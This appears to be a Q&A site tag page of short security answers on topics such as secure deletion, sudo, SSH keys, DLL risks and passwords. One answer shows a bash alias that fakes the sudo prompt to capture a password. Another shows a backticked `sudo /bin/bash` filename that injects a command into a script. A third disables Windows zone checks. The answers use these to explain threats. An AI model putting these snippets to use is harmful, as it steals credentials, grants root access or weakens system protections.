Tag Info

New answers tagged

1

https://www.cs.auckland.ac.nz/~pgut001/pubs/secure_del.html worth a read if you want to understand why 35 passes exactly. Epilogue if you want to know why its overkill. In short, the "35 passes" assumed older encoding techniques and lower data densities. It also assumed you had no idea how the drive was encoded. Each pass used a method specific to a drive ...


1

Yes it is safe to use but if you think that he has done something to harm you just format it before using, using the secure erase.


0

If you are using windows just go to control panel, click on automatic updates then click on Windows Update Web Site link. Just follow the step. At least this works for me, no more certificates issue i.e whenever I go to https://www.dropbox.com as before.


0

First of all take a look at /etc/sudoers file. The syntax will be "user MACHINE=COMMANDS" format. For example the root user will have "root ALL=(ALL) ALL" This means that the root user can run any(all) commands anywhere. If your entry also has "ALL=(ALL)" then you are almost equal to a root user. If this is not the case and you only have ...


0

@setx see_mask_nozonechecks 1 typing it in the command prompt, or executing inside a batch file will create the environmental variable that Dasun mentioned, for the current user


2

Network discovery features in windows depend on network locations you pick after you connect to network initially. This can be changed later in Control Panel -> Network Center (or something similar, I have non-english Windows please correct me if im wrong). Choose Public network for networks in public places (such as coffee shops or airports). This ...


1

There is no real protection. Password protected access to sudo harks back to an era before complex shell environments with commands executed by shims. Once the password has been submitted, there's a window of opportunity in which a shim can execute commands via sudo, without any notification, and with full system control. If I was intent on access, I'd ...


0

Here is Microsoft's explanation of how the system account is used. It says The system account is used by the operating system and by services that run under Windows.


0

When that text came right after the hostname in your address bar you might find a solution at http://stackoverflow.com/questions/4830361/how-can-i-write-something-in-browsers-address-bar-with-javascript-after-the-pag/4830402#4830402 That way you can write into the addressbar of the browser. And that means that it's just a funny way to get your attention and ...


0

You really are doing this wrong. You should not be creating the private key, it isn't a private key when you share it. Is there any way to make it so that Certificate Authority will export both the private... The certificate authority never HAS the private key. So there is no way the CA can export both. When certreq generates a certificate request, ...


0

I believe it is the "Server" service that will listen on 445. This might be called "Lanman" or "Workgroup" service in XP. Port 123 is for time sync (NTP) and does not seem typical for an XP workstation to be enabled. Not certain how to disable it however you can use netstat -a -b -o to find out what process/service is using what port.


-1

You can have a look here "How do i restore security settings". There is a detailed explanation given. Hope I helped.


2

Is this a hacking attempt? Yes. And if so, how does the hacker (human or bot) immediately know where my server is and when it came online? You've hit the nail on the head, you're online. Just the act of being online exposes you to being scanned for vulnerabilities. They don't know you or that you put up a server. They do know the address ranges being ...


1

This feature, which switches to Protected View when handling older file formats, is called File Block. According to Microsoft: The code used to open and save the older formats have vulnerabilities that hackers can exploit. So they are security risks that should be avoided, if possible. See ...


1

The password isn't sent in plain text, but the old-style password scheme you're using has known issues that make it relatively easy to crack. See http://dev.mysql.com/doc/internals/en/authentication-method.html, and the related question http://stackoverflow.com/questions/11192689/how-secure-is-authentication-in-mysql-protocol.


0

You can use a Windows PKI USB Token, such as one of these. They usually range in the multiple 100$, but less than 1000$. Here is more information on PKI and how it works.


3

In two words: don't worry. Unless you are being specifically targetted (in which case anyone who cares is likely to have your IP address already, or not need it, depending on the mode of attack), someone having seen an IP address is a curiosity at most. More to the point, the vast majority of "bad stuff" on the Internet is non-targetted; automated software ...


1

If you are interested in a system which you believe might be compromised, run "Rootkit" and use "Tripwire" to check the integrity of the filesystem. Also would advise you to harden sudo privileges, like you don't need all users to have access all root commands rather give access to specific commands through SUDO.


0

Remove all users but one administrator on the machine. Change the ownership of the folder C:\Users\ to this administrator: Right click on the folder, go to the Security tab, click on Advanced button. Go to the Owner tab, click on Edit, select the remaining administrator under 'Change owner to' and mark 'Replace owner on sub...'. Press OK. Close every window ...


0

Yeah, I've found the answer myself. So, if you want to securely stream your sensitive data over network, you could try using some ffmpeg built-in secure protocol, such as : TLS, SRTP, etc. All the detail could be found here : https://www.ffmpeg.org/ffmpeg-protocols.html#tls


0

From disable tracking cookies: Backup your important data such as usernames, passwords, etc. Install Safari Cookies from http://sweetpproductions.com/safaricookies or your Mac software site. Restart Safari. Within Safari Cookies, set your preferences. Set your favorite cookies, flash cookies, and databases. Begin using Safari. When you need to clear ...


0

For Linux users, Thebozo Already answered this question here: http://superuser.com/a/367356/278746


0

If you want to run your bookmarklets on CSP-enabled websites in Firefox, you can use CSS stylesheets, see my answer on StackOverflow.


0

Think about whether you replace shell in /etc/passwd with your script or start your script in .bash_profile with exec /path/to/your/script.


0

Even though service recommendations are off-topic on SuperUser, I know two parties that provide this service: DynDNS in their managed DNS offering http://dyn.com/managed-dns/ LiquiDNS https://www.liquidns.com/


0

If you want something to switch in less than 60 seconds, then you need either of the following: Both servers behind the same router, where the router is automatically pinging the primary server and switches the routing tables as soon as the primary goes down. This is generally not feasible in most datacenters unless you're buying a lot of rackspace. Talk ...


1

Not sure about any methods for unauthorized users to gain root privileges, but I know something you can do to make sudo a bit less dangerous, if you want to say that. sudo allows you to configure granular permissions, in order to define groups of users with specific privileges, and specific commands that certain users can run. SUDO - GRANULAR CONTROL ...


1

IdentityFile ~/.ssh/id_rsa.pub -i ~/.ssh/id_rsa.pub You're specifying the public key here. You should specify the private key instead. The private key probably named ~/.ssh/id_rsa. ~/.ssh/id_rsa happens to be one of the default key file names which ssh looks for. When you removed the erroneous keyfile specification from your command, ssh probably fell ...


6

Once a piece of malware has gained access to a user's account, it can: 1. Create a bash alias (in the current shell, and in ~/.bashrc) to a command which fakes the [sudo] password for $USER: prompt, and steals the user's password. alias sudo='echo -n "[sudo] password for $USER: " && \ read -r password && \ echo ...


0

First, are you sure it's asking for your key file's password and not the remote server password? Second, SSH has an incredibly verbose debug mode if you specify command line options: -v -v -v You can do the same on the server: -d -d -d That should tell you exactly what's happening on both sides and explain any bizarre behavior. If I had to guess, I ...


0

You haven't told us exactly where you're looking, but I'm guessing you're looking in the User Configuration though, as the Security branch only exists in the "Computer Configuration" section, not in the "User Configuration" section. This is because those security settings are system-wide instead of user-specific. Example picture: Note there are two of ...


0

Below is a tweak on Alejandrormz's Automator steps. This is in OSX Mavericks: Find and open Automator Create a new Service From the 2nd column drag and drop "Start Screen Saver" Select "Services receive no input" in drop down at the top Save as e.g. "StartScreenSaver" Find and open System Preferences Open Keyboard/Shortcuts Click Services on the left ...


2

If you open the content of your pen drive on the machine, then it will depend on the application as to whether there will be any trace of that data after closing the app and removing the drive. If you had an application that was known not to copy the data elsewhere kept on the pen drive along with your data and only opened it from that, it would be more ...


0

As long as these users are fully separate users within Windows, rather than simply being separate profiles within Chrome, and also as long as neither user has administrator rights then their extensions and data should be completely separate and one user will not be able to access the data of the other user. Chrome gets installed into the Program Files ...


0

Here is the document that I found helpful https://lelutin.ca/posts/installing_postfix_-clamav-spamassassin-dovecot-_postfixadmin_on_debian_squeeze/ It is nearly 20 pages going into fine detail on exact settings and configs for the mail system. Although it was written for debian, I got it working for OpenSuse and others can work also. Add fail2ban and ...


2

Do you require strong, complex passwords? Do you lock out users after a number of bad password tries? Both of these things can significantly increase the time to compromise an account. If there is a web interface for email, look at using fail2ban to block IPs that generate multiple failed login attempts. However, it is possible there is a deeper ...


0

This is currently an open feature request (as of 2.6). For voting/tracking purposes see SERVER-3788. The only way I can think of to achieve what you ask at present is to not use user/pass (i.e. MONGODB-CR) at all. If you instead use X509 certs to authenticate (new in 2.6 and requires an SSL enabled build) then you will no longer have the issue of plain ...


1

I can recomend to use virtualbox or other virtualization software instaead if security is concern. Because that way the guest system is almost totally isolated from the host os. Even if is proven to be possible to escape from a virtual machine and there are commercial tools for that is a very rare occasion that you will never probably encounter.


1

There are three attack vectors remaining. Your host system gets infected by malware infecting the XP system. It's theoretically possible, but nothing I've ever heard of. More serious is an attack via a connected USB device. If you use USB devices on your virtual machine, make sure to disable autorun features. The remaining attack could come from ...


0

The answer to your question is that it depends, but in general I'd strongly recommend against running active security scanning tools (e.g. nmap) on any network that you either do not own, or have specific explicit permission from the owner to run against. The main factor will be what country you are in. Most countries have legislation that gets applied ...


-1

You can. The drive will be unformatted. IMHO the quickest way of getting it done is by means of GParted Live (http://gparted.org/livecd.php). Just create a new MBR, a new partition of the FAT32 type and click apply changes. It should be done in seconds or a couple of minutes at most.


-1

You can stop the currently in-progress formatting session but this will leave the entire drive unformatted. If you start formatting the drive after this then it will start formating from the beginning.


0

In my case I was trying to delete a folder from a network share which was write-protected. Because the PCs had similar names I didn't realize that I was working on the remote folder instead of the local folder. Solution: simply delete the correct (local) folder.


0

Downloading of whatever is safe itself, and that's true not only for DLL but even for executable files (.exe and others), but running them is not safe.


3

The threat of a DLL would be if gets executed by an executable. But if you download a malicious DLL, there are several ways it can get executed at the request of a non-malicious executable. You don't want a malicious DLL sitting on your machine. For example, you probably have several executables on your machine right now that will happily load and execute ...


-2

Want safe passwords - not just a single one? Use a generator and have your passwords randomized as long and complicated as possible - Edward Snowden claims the NSA can try about a billion possibilities per second, so you'd better be prepared :-) Then use a password Manager to keep track of all your passwords.


5

Yes and no. There's been plenty of discussion over at Security.SE on the subject. Let's start with a quote from an answer by Jeff Goldberg: What the XKCD comic does not effectively communicate is that the selection of words must be (uniformly) random. If you ask humans to pick words at random, you get a heavy bias for concrete nouns. Such biases can and ...


0

there is a utility netwrix account Examiner. you can download it from netwrix.com. Download, configure it and it will tell where your account are getting locked out.


0

Another method that wasn't mentioned here (not surprising, because it isn't well known) would be to use NTFS's Alternate Data Streams feature. This feature was introduced into NTFS in Windows NT and allows the insertion of arbitrary data in the "resource fork" of a file's section of the disk. This good article on Bleeping Computer explains it better than I ...


0

Well, there's a small typo: /destionation instead of /destination. There are security issues with this script. A user could pass `sudo /bin/bash` as the filename, and then they would have a root shell. They can also nest commands, such as: `sudo /bin/bash; echo "hello" >> /tmp/from_root` To form any set of operations that run as the root user. ...



Top 50 recent answers are included